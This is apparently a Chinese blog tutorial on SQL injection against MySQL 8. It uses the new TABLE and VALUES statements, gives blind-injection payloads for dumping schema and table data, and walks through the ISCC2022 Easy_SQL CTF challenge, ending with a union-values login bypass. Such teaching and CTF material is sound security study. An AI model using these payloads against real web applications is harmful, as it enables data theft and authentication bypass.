mysql8下的sql注入

前言

之前就想写关于这方面的博客了,但是因为没怎么碰到一直没写。后来ISCC出现了这个知识点,因此还是觉得应该写写。

新增语法介绍

table语句

语法:

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

table语句的作用是列出表中的全部内容,可以说是select的平替了,我们在mysql中来试着使用一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
mysql> table users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)

可以看到两条命令的效果是一样的,当然根据语法,table后也可以加上order by以及limit指令进行输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
mysql> table users order by username;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
+----+----------+------------+
13 rows in set (0.03 sec)

mysql> table users limit 0,3;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
+----+----------+------------+
3 rows in set (0.00 sec)

当然作为平替,联合查询也是支持的,同样的,列数必须相等才可以查询。但是,table语句不支持任何过滤,因此不支持where语句的使用。

values

语法:

1
2
3
4
5
6
7
8
9
10
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]

row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]

value_list:
value[, value][, ...]

column_designator:
column_index

values的语法看起来很复杂,但其实理解起来很简单,拿来造表的神器,我们来举个例子:

1
2
3
4
5
6
7
8
9
mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8);
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1 | -2 | 3 |
| 5 | 7 | 9 |
| 4 | 6 | 8 |
+----------+----------+----------+
3 rows in set (0.00 sec)

同样这个函数可以使用order by进行排序:

1
2
3
4
5
6
7
8
9
mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8) ORDER BY column_1;
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1 | -2 | 3 |
| 4 | 6 | 8 |
| 5 | 7 | 9 |
+----------+----------+----------+
3 rows in set (0.00 sec)

盲注

常规套路还是基本一致的,但是table不能像select控制列数,除非列数一样的表,不然都回显不出来,也需要使用盲注。

比如我们注入数据库名:

1
1&&('def','m','',4,5,6)<(table information_schema.schemata limit 1);

要注意的是,如果注入时前一个字符判断不正确,那么就会整段垮掉,后面的也会变得不正确。注意判断的时候后一个列名一定要用字符表示,不能用数字,不然判断到前一个最后一个字符会判断不出:

1
2
('def','mysql',3,4,5,6)<(table information_schema.schemata limit 1);    #判断错误
('def','mysql','',4,5,6)<(table information_schema.schemata limit 1); #判断正确

盲注payload:

1
2
3
4
5
6
7
8
9
//爆表
('def','security','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit 325,1);

//爆字段('def','security','users','','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit 3415,1);

//爆数据
(1,'','') < (table users limit 1);

ps.如果没有得到数据类型的话还是需要猜的,比如ID为1,前面就不能写成'1'

如果过滤了常用的infor表,可以使用mysql.innodb_table_stats代替。

[ISCC2022]Easy_SQL

就拿这个最近的题复现下吧,刚开始是要我们找邮箱,URL中有一个id参数可以注入。题目设置了select过滤,因此使用table。

可以采用盲注法注入出表名为emails,使用联合注入找到压缩包名称:

1
?id=1 union table emails limit 7,1--+

下载下来是页面源码,查看关键部分代码:

1
2
3
4
5
6
7
8
9
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);

当username为admin且对应密码正确时打印flag,那么我们就可以使用value来改变表的内容:

1
username=admin' union values row(10,'admin',1)#&passwd=1

这样admin的passwd就相当于为1了,因此触发条件拿到flag。